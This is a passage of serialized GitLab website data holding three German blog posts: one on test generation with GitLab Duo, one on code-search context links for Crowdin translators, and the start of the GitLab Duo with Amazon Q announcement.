Testgenerierung für unseren Code erzielt haben. Wie bei jeder Sprachgenerierung waren in einigen Fällen kleinere Anpassungen erforderlich, z. B. die Korrektur von Importpfaden oder die Bearbeitung von Inhalten in Datensätzen. Bei den komplexeren Fällen mussten wir berücksichtigen, dass KI-Lösungen oft der Kontext fehlt. Hier erfährst du, wie wir die komplexeren Testsituationen mit GitLab Duo gemeistert haben.\n\n### Aktualisieren bestehender Testfälle\n\nWie so oft bei der Entwicklung eines Softwareprodukts stießen wir auf Fälle, in denen wir bestehende Tests aktualisieren mussten. Anstatt eine komplette Testsuite für ein häufiges Problem manuell anzupassen, nutzten wir die Fähigkeiten des GitLab-Duo-Chat-Fensters in VS Code voll aus. Um beispielsweise Tests zu überarbeiten, nutzten wir den Chat-Prompt „Please update the provided tests to use unittest rather than pytest“ („Aktualisiere die bereitgestellten Tests so, dass sie unittest und nicht pytest verwenden“) und fügten dann die Tests ein, die GitLab Duo aktualisieren sollte.\n\n![Automatisierte Testgenerierung](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099252/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750099252303.png)\n\n\u003Cbr>\u003C/br>\n\n![Chat-Prompt zur Verwendung von unittest anstelle von pytest](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099252/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750099252304.png)\n\n**Hinweis:** Wir haben die Empfehlungen von GitLab Duo kopiert und in unseren Code eingefügt.\n\n### Erstellen von Tests für Legacy-Code\n\nDas Erstellen von Tests für älteren Code, von dem wir wussten, dass er funktioniert, war eine weitere Herausforderung. In solchen Fällen war es sinnvoll, neben den fehlgeschlagenen Tests auch Fehlerschnipsel bereitzustellen und GitLab Duo zu bitten, neue Tests zu erstellen. Wir haben die Fehler aus dem Terminalfenster in den Chat kopiert und mit der Aufforderung „Please explain and fix this failing test“ („Erkläre und behebe diesen fehlgeschlagenen Test“) oder ähnlichen Prompts eine Zusammenfassung der Probleme mit dem Test ausgeben lassen sowie einen neuen Test erstellt, der das Problem behebt. Wir mussten feststellen, dass dies manchmal mehrere Überarbeitungsrunden erforderte, wenn neue Testfehler auftraten. Die Effizienz von GitLab Duo bei der Erstellung verschiedener überarbeiteter Lösungen war jedoch schnell und wirkte sich positiv auf die Effizienz des Teams und der Entwickler(innen) aus.\n\n### Herausforderungen mit komplexem oder abstraktem Code\n\nIn anderen Fällen führte die Modularisierung oder die Komplexität unseres Codes zu Abweichungen bei den Ergebnissen von GitLab Duo. Bei der Erstellung von Tests erzeugte GitLab Duo beispielsweise manchmal eine Reihe bestandener und fehlgeschlagener Tests, was auf unterschiedliche Testansätze zurückzuführen war (z. B. die Verwendung von Simulationen und die Objekte, die simuliert wurden). Wir gaben GitLab Duo ein eigenes Beispiel für einen bestandenen Test und forderten es auf, die einzelnen Tests nacheinander so zu ändern, dass sie dem Stil der bestandenen Tests entsprechen, um die Konsistenz zu wahren. Außerdem stellten wir GitLab Duo eine Datei mit funktionierenden Tests für ein ähnliches Objekt oder eine ähnliche Aufgabe zur Verfügung, damit es die Struktur nachbilden konnte.\n\n### Sicherstellen, dass der generierte Code unseren Standards entspricht\n\nWährend der Entwicklung eines Python-Moduls generierte GitLab Duo viele Tests mit Simulationen, die oft überarbeitet werden mussten, insbesondere im Hinblick auf die Standardisierung der Namensgebung. In solchen Fällen konnten wir GitLab Duo Chat nutzen, um die Tests zu überarbeiten und Anweisungen zu geben, welche Testkomponenten zu aktualisieren waren. GitLab Duo zu diesen Änderungen aufzufordern, war wesentlich schneller als die Überarbeitung einzelner Tests, wie wir es zuvor getan hatten.\n\n### Nicht abgedeckte Testfälle\n\nGitLab Duo erstellte Tests für zusätzliche Testfälle, die das Team zuvor nicht berücksichtigt hatte, und erhöhte so die Abdeckung. So konnten wir dank GitLab Duo diese Grenzfälle schnell und effizient angehen und die Testabdeckung erweitern, was für unser Team einen wichtigen Mehrwert darstellt, um schneller ein robustes Produkt zu entwickeln.\n\n## Was wir gelernt haben\n\nDie folgenden Erkenntnisse waren wichtig für unseren Erfolg mit GitLab Duo:\n\n* **Schnell und effizient für eine schnelle Entwicklung und Iteration –** Die Rolle von GitLab Duo bei der Erstellung von automatisierten Tests war für unser Team ein wichtiger Beschleuniger bei der Entwicklung und ermöglichte es uns, schneller und mit größerem Vertrauen in unsere Änderungen zu arbeiten.\n* **Es ist wichtig, geeignete Prompts zu verwenden –** Bei der Verwendung von GitLab Duo für unseren Anwendungsfall sind wir auf ein wichtiges Thema für die Optimierung des Machine Learning gestoßen: das Prompt-Engineering. Manchmal mussten wir nur wenige Schlüsselwörter in unserer Frage ändern, um die ideale Antwort zu generieren.\n* **Wir müssen die zugrunde liegenden Frameworks und den Code verstehen –** Bei jeglichem KI-generierten Code, der in ein Produkt einfließt, selbst wenn es sich nur um Tests handelt, ist es wichtig, dass wir verstehen, wie der Code funktioniert, damit wir ihn angemessen debuggen und Änderungen beantragen können.\n* **Wir müssen den gewünschten Endzustand und die Standards kennen –** Ähnlich wie bei der Einhaltung von Programmierstandards für die Formatierung und die Verwendung von Bibliotheken bei der Entwicklung ohne KI ist es wichtig, die Übersicht darüber zu behalten, wie die beabsichtigten Ergebnisse aussehen sollen und welche Standards beim Einsatz von KI eingehalten werden müssen. GitLab Duo braucht den Kontext, um Code-Standards zu verstehen. Deshalb ist es wichtig, dass die Teammitglieder, die GitLab Duo nutzen, die Ergebnisse angemessen überwachen, um sicherzustellen, dass die Qualität und andere Erwartungen erfüllt werden.\n* **GitLab Duo ist kein Ersatz für alle Tests –** Auch wenn wir GitLab Duo in großem Umfang für die Erstellung automatisierter Tests nutzen, ersetzt es nicht unsere anderen Tests und die menschliche Aufsicht. Funktionale Tests, Integrationstests und andere Tests haben nach wie vor einen wichtigen Platz im Qualitätssicherungsprozess und im gesamten Software-Entwicklungsprozess.\n\nIn unserem nächsten Artikel der Reihe geht es um einen Test, den wir durchgeführt haben, um die Auswirkungen von GitLab Duo auf die automatisierten Tests unseres Teams zu validieren, und um die beeindruckenden Ergebnisse, die wir bis jetzt erzielt haben.",[679,768,746],{"slug":2362,"featured":6,"template":682},"automating-with-gitlab-duo-part-2-complex-testing","content:de-de:blog:automating-with-gitlab-duo-part-2-complex-testing.yml","Automating With Gitlab Duo Part 2 Complex Testing","de-de/blog/automating-with-gitlab-duo-part-2-complex-testing.yml","de-de/blog/automating-with-gitlab-duo-part-2-complex-testing",{"_path":2368,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2369,"content":2375,"config":2382,"_id":2384,"_type":16,"title":2385,"_source":17,"_file":2386,"_stem":2387,"_extension":20},"/de-de/blog/how-gitlab-empowers-translators-with-more-context",{"ogTitle":2370,"schema":2371,"ogImage":2372,"ogDescription":2373,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":2374,"title":2370,"canonicalUrls":2374,"description":2373},"Wie GitLab Übersetzer(innen) den nötigen Kontext verschafft","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Wie GitLab Übersetzer(innen) den nötigen Kontext verschafft\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Oleksandr Pysaryuk\"}],\n        \"datePublished\": \"2024-12-09\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097922/Blog/Hero%20Images/Blog/Hero%20Images/gitlabflatlogomap_gitlabflatlogomap.png_1750097921899.png","Erfahre mehr über die neue Funktion zur Erweiterung des Übersetzungskontexts in GitLab. Werde Mitglied unserer Community aus Übersetzer(inne)n und hilf mit, GitLab in deine Sprache zu übersetzen.","https://about.gitlab.com/blog/how-gitlab-empowers-translators-with-more-context",{"heroImage":2372,"body":2376,"authors":2377,"updatedDate":2379,"date":2380,"title":2370,"tags":2381,"description":2373,"category":1033},"GitLab wird ständig von unserer globalen Community von Übersetzer(inne)n und Korrekturleser(inne)n übersetzt. Über [Crowdin](https://docs.gitlab.com/ee/development/i18n/translation.html) helfen sie dabei, unser Produkt für die Welt zugänglicher zu machen, indem sie es in 78 Sprachen übersetzen. Die Community-Mitglieder sind freiwillige Übersetzer(innen), Berufstätige, die GitLab nutzen, und sogar [Studierende, die im Rahmen ihrer Unterrichtsprojekte als Übersetzer(inne)n beitragen](https://about.gitlab.com/blog/behind-the-scenes-of-gitlab-korean-translation/).\n\n### So unterstützt das Open-Core-Modell von GitLab Übersetzer(innen)\n\nAuch wenn diese Zusammenarbeit in der Community sehr effektiv ist, stehen Übersetzer(innen) oft vor einer entscheidenden Herausforderung: Sie müssen den gesamten Kontext des Textes, den sie übersetzen, verstehen.\n\nBei einer guten Übersetzung geht es nicht nur darum, Wörter zu übersetzen, sondern auch darum, den Sinn, die Absicht und die Benutzerfreundlichkeit in der Zielsprache zu erhalten. Die Übersetzung von Software erfordert eine einzigartige Mischung von Fähigkeiten. Gute Übersetzer(innen) sind in der Regel auf mehrere Sprachgebiete sowie auf das technische Fachgebiet des Produkts selbst spezialisiert. Sie führen unzählige Aufgaben aus, die mit der Übersetzung zusammenhängen, wie zum Beispiel:\n\n* Sicherstellen der Genauigkeit und Konsistenz der Fachbegriffe  \n* Erstellen neuer Glossarbegriffe für neue Konzepte  \n* Einhalten des Stils und des Tonfalls  \n* Beherrschen der Komplexität von [CLDR-Pluralisierungsregeln](https://www.unicode.org/cldr/charts/46/supplemental/language_plural_rules.html)  \n* Aufbauen eines Verständnisses für die Übersetzbarkeit zusammengesetzter Nachrichten und die Bereitstellung von Feedback zur Verbesserung des Quelltextes durch Lokalisierung\n\nÜbersetzer(innen) verbringen viel Zeit mit der Recherche von Zusammenhängen, dem Stellen von Fragen und dem Lesen der [GitLab-Produktdokumentation](https://docs.gitlab.com/). Ohne den richtigen Kontext werden selbst einfache Sätze falsch übersetzt, was Benutzer(innen) verwirren oder ihre Arbeitsabläufe stören kann. Was [GitLab von anderen unterscheidet, ist sein Open-Core-Modell](https://about.gitlab.com/blog/gitlab-is-open-core-github-is-closed-source/), das den Übersetzer(inne)n den Zugang zum größten Teil des Produktentwicklungskontextes direkt an der Quelle ermöglicht. Diese Transparenz ermöglicht es ihnen, einen [aktiven Beitrag zum globalen GitLab-Produkt zu leisten](https://handbook.gitlab.com/handbook/company/mission/#mission).\n\n> **Über 6,4 Mio. Builds pro Monat: So transformiert Siemens seine Softwareentwicklung mit GitLab** Über 40.000 Entwickler(innen) bei Siemens nutzen GitLab, um weltweit zusammenzuarbeiten und jeden Monat mehr als 6,4 Millionen Software-Versionen automatisch bereitzustellen. Erfahre, wie eine offene DevOps-Kultur und eine zentrale Plattform die Effizienz und Sicherheit steigern. [Erfolgsstory lesen](https://about.gitlab.com/de-de/customers/siemens/)\n\n### Unsere neue Funktion zur Kontextverbesserung\n\nUm diese Anforderungen zu erfüllen und den Übersetzer(inne)n mehr Kontext zu bieten, hat GitLab eine neue Funktion entwickelt: Wir betten jetzt in jeden übersetzbaren String einen [kontextbezogenen Link](https://docs.gitlab.com/ee/development/i18n/translation.html#context) ein (genauer gesagt einen Link zu unserer globalen produktinternen Suche), mit dem die Übersetzer(innen) alle Instanzen dieses Strings in der Codebase finden können. Mit diesen Links können die Übersetzer(innen) sich auf [Git Blame](https://docs.gitlab.com/ee/user/project/repository/files/git_blame.html) verlassen, um den Verlauf jedes Strings nachzuverfolgen – vom aktuellen Ort im Code über Commits in Merge Requests bis hin zu den ursprünglichen Planungsgesprächen.\n\nWenn du zum Beispiel **Rotate** übersetzt, deutet der [Namensraum](https://docs.gitlab.com/ee/development/i18n/externalization.html#namespaces) **AccessTokens|** darauf hin, dass der Kontext *Zugriffstoken* ist. Es gibt jedoch keinen zusätzlichen visuellen Kontext für die Bedeutung von **Rotate**, und die Übersetzer(innen) müssen raten und die bestmögliche Vermutung für die Zielsprache anstellen.\n\nMit der neuen Kontextverbesserung kannst du als Übersetzer(in) jetzt Folgendes tun:\n\n1. Klicke auf die URL im Abschnitt **See where this string is used in code** (Sieh dir an, wo im Code der String verwendet wird).\n\n![Abschnitt „Sieh dir an, wo im Code der String verwendet wird“](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097929/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097928929.png)\n\n2. Sieh dir das [Ergebnis der Codesuche an](https://gitlab.com/search?project_id=278964&search=%22%28%5B%5E%3A%5D%28+%29%2B%3F%7C_%5C%5C%28%29%5B%27%5C%22%60%5DAccessTokens%5C%5C%7CRotate%5B%27%5C%22%60%5D%22+%28file%3A%5C.js%24+or+file%3A%5C.vue%24+or+file%3A%5C.rb%24+or+file%3A%5C.erb%24+or+file%3A%5C.haml%24%29+%28file%3A%5Eee%2Fapp%2F+or+file%3A%5Eee%2Flib%2F+or+file%3A%5Eee%2Fconfig%2F+or+file%3A%5Eee%2Flocale%2F+or+file%3A%5Eapp%2F+or+file%3A%5Elib%2F+or+file%3A%5Econfig%2F+or+file%3A%5Elocale%2F%29&regex=true) und klicke auf das Symbol **View blame** (Blame anzeigen):\n\n![Bildschirm mit dem Symbol „View blame“](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097929/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097928930.png)\n\n3. Folge dem Link zum entsprechenden Merge Request ([Introduce rotation of personal tokens in UI](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/169954); Einführung der Rotation persönlicher Token in UI):\n\n![Link mit relevantem Merge Request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097929/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097928932.png)\n\n4. Folge auf der Seite **Commits** dem Link zum eigentlichen Merge Request:\n\n![Commits-Seite mit Link](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097929/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097928934.png)\n\n5. Sieh dir die Bildschirmaufnahme an, die der Softwareentwickler dem Merge Request hinzugefügt hat:\n\n![Bildschirmaufnahme im Merge Request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097929/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097928936.png)\n\n6. Tauche noch tiefer ein:  \n   a. Gehe zum verknüpften Ticket [Introduce renew expired token capability in UI](https://gitlab.com/gitlab-org/gitlab/-/issues/241523) (Erneuerungsfunktion für abgelaufene Token in der UI einführen) oder zum übergeordneten Epic [Rotate Token through the UI](https://gitlab.com/groups/gitlab-org/-/epics/14563) (Token über die UI rotieren):\n\n![Verknüpftes Ticket und übergeordnetes Epic](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097929/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097928938.png)\n\nb. Gehe zum [zugehörigen Merge Request, der die GitLab-Produktdokumentation aktualisiert](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/172916):\n\n![Zugehöriger Merge Request zur Aktualisierung der GitLab-Produktdokumentation](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097929/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097928940.png)\n\nAll diese Rechercheschritte führen dazu, dass die Übersetzer(innen) das technische Konzept der *Rotation von Zugriffstoken* besser verstehen und wissen, warum die Funktion der Rotation von Token hinzugefügt wurde, wie sie funktioniert und welches Problem sie für die Nutzer löst.\n\nMit diesem umfangreichen Recherchepfad erhalten die Übersetzer(innen) ein Höchstmaß an Kontext, der ihnen hilft, das scheinbar einfache Wort **Rotate** technisch und sprachlich korrekt zu übersetzen.\n\nDieser Ansatz geht weit über herkömmliche Übersetzungshilfen wie das Bereitstellen von Screenshots oder die Erkundung der Benutzeroberfläche eines Produkts hinaus. Übersetzer(innen) können jetzt den Kontext vollständig verstehen.\n\n* Sie können den Kontext aus Pfaden und Benennungskonventionen ableiten, die im Code verwendet werden.  \n* Sie können Screenshots oder Videoaufnahmen anzeigen, die zu ursprünglichen Merge Requests hinzugefügt wurden.  \n* Sie können sich die ersten Planungs- und Entwicklungsgespräche durchlesen.  \n* Sie können den Entscheidungsprozess in den Bereichen Engineering, Copywriting und Produktmanagement nachvollziehen, der zu einer bestimmten Formulierung geführt hat.\n\n### Weitere KI-gestützte Kontextfunktionen sind in Kürze verfügbar\n\nHier macht das Lokalisierungsteam von GitLab noch nicht halt. Wir arbeiten an [weiteren kontextbezogenen Funktionen](https://gitlab.com/groups/gitlab-com/localization/-/epics/81), einschließlich KI-basierter Tools, die Übersetzer(inne)n helfen, die Verwendung und Platzierung von Strings zu verstehen. Stell dir vor, Übersetzer(innen) könnten mit einem Tool interagieren, das ihnen Fragen beantwortet oder proaktiv sofortige codebasierte Antworten darüber gibt, wo und wie Strings in der Produktoberfläche verwendet werden.\n\n> ### Tritt unserer [Community auf Crowdin](https://docs.gitlab.com/ee/development/i18n/) als Übersetzer(in) oder [Korrekturleser(in)](https://docs.gitlab.com/ee/development/i18n/#proofreading) bei, probiere diese neuen Kontextfunktionen aus und lass uns wissen, wie wir das [Übersetzungserlebnis und unser Produkt noch besser machen können](https://gitlab.com/gitlab-com/localization/localization-team/-/issues/259).\n",[2378],"Oleksandr Pysaryuk","2025-02-10","2024-12-09",[270,1875,680,2198],{"slug":2383,"featured":6,"template":682},"how-gitlab-empowers-translators-with-more-context","content:de-de:blog:how-gitlab-empowers-translators-with-more-context.yml","How Gitlab Empowers Translators With More Context","de-de/blog/how-gitlab-empowers-translators-with-more-context.yml","de-de/blog/how-gitlab-empowers-translators-with-more-context",{"_path":2389,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2390,"content":2395,"config":2400,"_id":2402,"_type":16,"title":2403,"_source":17,"_file":2404,"_stem":2405,"_extension":20},"/de-de/blog/gitlab-duo-with-amazon-q-devsecops-meets-agentic-ai",{"title":2391,"description":2392,"ogTitle":2391,"ogDescription":2392,"noIndex":6,"ogImage":1268,"ogUrl":2393,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2393,"schema":2394},"GitLab Duo mit Amazon Q: DevSecOps trifft agentenbasierte KI","KI-basiertes DevSecOps, das mit autonomen KI-Tools erweitert wird, steigert die Produktivität der Entwickler(innen), die Anwendungsmodernisierung und beschleunigt Innovation.","https://about.gitlab.com/blog/gitlab-duo-with-amazon-q-devsecops-meets-agentic-ai","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo mit Amazon Q: DevSecOps trifft agentenbasierte KI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emilio Salvador\"}],\n        \"datePublished\": \"2024-12-03\",\n      }\n                  ",{"title":2391,"description":2392,"authors":2396,"heroImage":1268,"date":2397,"body":2398,"category":677,"tags":2399,"updatedDate":1714},[1713],"2024-12-03","Es ist uns eine Freude, GitLab Duo mit Amazon Q anzukündigen, ein gemeinsames Angebot, das die umfassende, KI-basierte DevSecOps-Plattform von GitLab mit den autonomen KI-Tools von Amazon Q in einer einzigen, integrierten Lösung vereint.\n\nGitLab Duo mit Amazon Q verändert die Softwareentwicklung, indem es leistungsstarke KI-Tools direkt in deine täglichen Arbeitsabläufe integriert. Anstatt zwischen verschiedenen Tools zu wechseln, können Entwickler(innen) jetzt wichtige Aufgaben – von der Feature-Entwicklung bis hin zu Code Reviews – innerhalb der umfassenden DevSecOps-Plattform von GitLab beschleunigen. Die KI-Tools von Amazon Q fungieren als intelligente Assistenten, die zeitaufwändige Aufgaben wie die Codegenerierung aus Anforderungen, die Erstellung von Unit-Tests, die Durchführung von Code Reviews und die Modernisierung von Java-Anwendungen automatisieren. Dieses gemeinsame Angebot hilft Teams, sich auf Innovationen zu konzentrieren und gleichzeitig die Sicherheits- und Qualitätsstandards einzuhalten, indem es diese komplexen Aufgaben übernimmt.\n\nDieses erstklassige Entwicklererlebnis beinhaltet:\n* Die einheitliche GitLab-Plattform mit einem einzigen Datenspeicher, der das Erstellen, Testen, Paketieren und Bereitstellen von sicherem Code automatisiert.\n* GitLab Duo mit Amazon Q Developer, das den GitLab-Projektkontext nutzt, um aufgabenabhängige Änderungen an mehreren Dateien vorzunehmen\n* KI-Tools von Amazon Q, die in GitLab Duo integriert sind, die Tickets aktualisieren und Merge Requests pro Aufgabe erstellen, wobei die Berechtigung auf das Projekt beschränkt ist\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1033653810?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Duo and Amazon Q\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## Partnerschaftsinnovation: GitLab und AWS\n\nGitLab Duo mit Amazon Q ist das Ergebnis einer engen Zusammenarbeit zwischen GitLab und AWS-Engineering-Teams, die unsere Stärken kombiniert, um die Softwareentwicklung zu verändern. Diese Partnerschaft vereint das Fachwissen von GitLab im Bereich Unified DevSecOps mit der führenden Rolle von AWS im Cloud Computing und schafft so eine innovative Lösung, die versteht, wie Entwickler(innen) arbeiten\n\nDurch die Integration der autonomen Agents von Amazon Q mit der umfassenden KI-basierten Plattform von GitLab haben wir mehr als nur eine technische Integration geschaffen. Wir haben eine Erfahrung geschaffen, mit der sich die KI-basierte Entwicklung natürlich anfühlt und die Sicherheit, Compliance und Zuverlässigkeit gewährleistet, die Unternehmen benötigen.\n\nBranchenanalyst(inn)en erkennen die Bedeutung dieser Integration für den Fortschritt der KI-basierten Softwareentwicklung:\n\n***„Mit diesem gemeinsamen Angebot bündeln GitLab und AWS ihre Stärken, um [agentenbasierte KI](https://about.gitlab.com/de-de/topics/agentic-ai/) in der Softwareentwicklung Realität werden zu lassen“, sagt Katie Norton, Research Manager bei IDC. „GitLab Duo mit Amazon Q geht starke Anwendungsfälle und kritische Herausforderungen an, mit denen Kund(inn)en das volle Potenzial der KI nutzen können.“***\n\n***„Sowohl Entwickler(innen) als auch die Unternehmen, für die sie arbeiten, sind zunehmend an vereinfachten und einheitlichen Erfahrungen interessiert“, sagt Rachel Stephens, Senior Analyst bei RedMonk. „Vor allem im Zeitalter der KI, in dem Sicherheit und Datenschutz an erster Stelle stehen, wollen Unternehmen die Möglichkeiten modernster Technologien nutzen, gleichzeitig aber auch Risiken kontrollieren und unzusammenhängende Software-Toolketten minimieren. Die Partnerschaft zwischen GitLab Duo und Amazon Q bietet Entwickler(inne)n die Werkzeuge, die sie im Rahmen einer durchgängigen DevSecOps-Erfahrung benötigen.“***\n\n## 4 wichtige Kundenvorteile \n\nGitLab Duo mit Amazon Q kombiniert KI-basiertes DevSecOps mit umfassenden Cloud-Computing-Funktionen. Gemeinsam helfen sie Entwicklungsteams bei folgenden Herausforderungen:\n\n### 1. Optimieren der Funktionsentwicklung von der Idee bis zum Code \n\nEntwicklungsteams verbringen oft Stunden damit, Anforderungen in Code zu übersetzen, was zu einer langsameren Bereitstellung und inkonsistenten Umsetzung führt. Du kannst jetzt den Agent „GitLab Duo mit Amazon Q“ mit dem neuen Schnellzugriff `/q dev` aufrufen. Damit wird eine Ticketbeschreibung in wenigen Minuten direkt in zusammenführbaren Code umgewandelt. Der Agent analysiert die Anforderungen, plant die Umsetzung und erstellt einen vollständigen Merge Request – alles unter Einhaltung der Entwicklungsstandards deines Teams. Teams können mit Hilfe von Feedback in Kommentaren schnell iterieren und so die Zeit von der Idee bis zur Produktion deutlich verkürzen.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1034050110?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Feature Dev with Rev\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n### 2. Einfaches Modernisieren von Legacy-Code\n\nDas Upgraden von Java-Anwendungen erfordert normalerweise wochenlange sorgfältige Planung, manuelle Codeänderungen und umfangreiche Tests. Der Schnellzugriff `/q transform` automatisiert den gesamten Prozess der Java-Modernisierung für dich. In wenigen Minuten, nicht Stunden, analysiert der Agent deine Codebase in Java 8 oder 11, erstellt einen umfassenden Upgrade-Plan und generiert vollständig dokumentierte Merge Requests für die Migration auf Java 17. Jede Änderung ist nachvollziehbar, was den Teams Vertrauen gibt und die Sicherheit und Leistung der Anwendung verbessert.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1034050145?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"QCT\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n### 3. Beschleunigen von Code Reviews ohne Qualitätseinbußen \n\nCode Reviews führen oft zu Engpässen: Teams warten tagelang auf Feedback, müssen aber konsistente Standards einhalten. Mit dem Schnellzugriff `/q review` bekommst du sofort intelligentes Feedback zur Codequalität und -sicherheit direkt in Merge Requests. Durch die automatische Identifizierung potenzieller Probleme und Verbesserungsvorschläge, die auf deinen Standards basieren, können Teams qualitativ hochwertigen Code pflegen und gleichzeitig die Überprüfungszyklen drastisch reduzieren.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1034050136?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Code Reviews\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n### 4. Automatisieren von Tests, um mit Zuversicht zu veröffentlichen\n\nDie manuelle Testerstellung ist zeitaufwändig und führt oft zu einer uneinheitlichen Testabdeckung im Team. Mit dem Schnellzugriff `/q test` kannst du automatisch umfangreiche Unit-Tests generieren, die deine Anwendungslogik verstehen. Der Agent sorgt für eine gründliche Abdeckung kritischer Pfade und Sonderfälle und passt sie an deine bestehenden Testmuster an. Dank dieser Automatisierung können Teams Probleme früher erkennen und konsistente Qualitätsstandards einhalten, was den Entwickler(inne)n wertvolle Zeit spart.\n\n\u003Cdiv style=\"padding:54.37% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1034050181?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Use GitLab Duo with Amazon Q to add tests\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## Inklusive Sicherheit und Leitlinien auf Enterprise-Niveau\n\nDieses Angebot wurde für den Einsatz in Unternehmen entwickelt und kombiniert die integrierten Sicherheits-, Compliance- und Datenschutzfunktionen von GitLab mit dem KI-Tool von Amazon Q. Es beschleunigt die Arbeitsabläufe von Entwickler(inne)n und hilft Unternehmen, sichere Software schneller bereitzustellen.\n\nDie Integration bietet:\n\n* Integrierte Leitlinien, die die Entwicklungsgeschwindigkeit aufrechterhalten  \n* Granulare Kontrollen für KI-basierte Funktionen auf Benutzer-, Projekt- und Gruppenebene  \n* End-to-End-Sicherheitsintegration in bestehende Workflows\n\nDevSecOps-Teams können die Entwicklungsumgebung mit der weltweit am weitesten verbreiteten Cloud sicher skalieren.\n\n## Ausblick\n\nGitLab Duo mit Amazon Q baut auf unserer bestehenden Integration mit [AWS, angekündigt im Mai 2024 (nur in englischer Sprache)](https://press.aboutamazon.com/2024/4/aws-announces-general-availability-of-amazon-q-the-most-capable-generative-ai-powered-assistant-for-accelerating-software-development-and-leveraging-companies-internal-data) auf und stellt einen bedeutenden Schritt vorwärts in unserer gemeinsamen Mission dar, die Softwareentwicklung zu verändern. Diese weiterführende Integration von KI-Funktionen markiert den Beginn unserer erweiterten Zusammenarbeit mit AWS. Bei der Weiterentwicklung dieser Fähigkeiten werden wir uns auf Folgendes konzentrieren:\n\n* Ausweitung der KI-Funktionen auf den gesamten Entwicklungslebenszyklus  \n* Steigerung der Entwicklerproduktivität  \n* Erfüllung der Entwicklungsanforderungen von Unternehmen im großen Maßstab\n\n**GitLab Duo mit Amazon Q ist ab heute im [öffentlichen Branch (nur in englischer Sprache)](https://gitlab.com/groups/gitlab-org/-/epics/16059) des GitLab.org-Projekts verfügbar. Eine Vorschau und weitere Informationen darüber, wie es deinen Softwareentwicklungsprozess verändern kann, findest du auf [unserer Website](https://about.gitlab.com/partners/technology-partners/aws/#interest).**",[723,1272,679,746,235],{"slug":2401,"featured":92,"template":682},"gitlab-duo-with-amazon-q-devsecops-meets-agentic-ai","content:de-de:blog:gitlab-duo-with-amazon-q-devsecops-meets-agentic-ai.yml","Gitlab Duo With Amazon Q Devsecops Meets Agentic 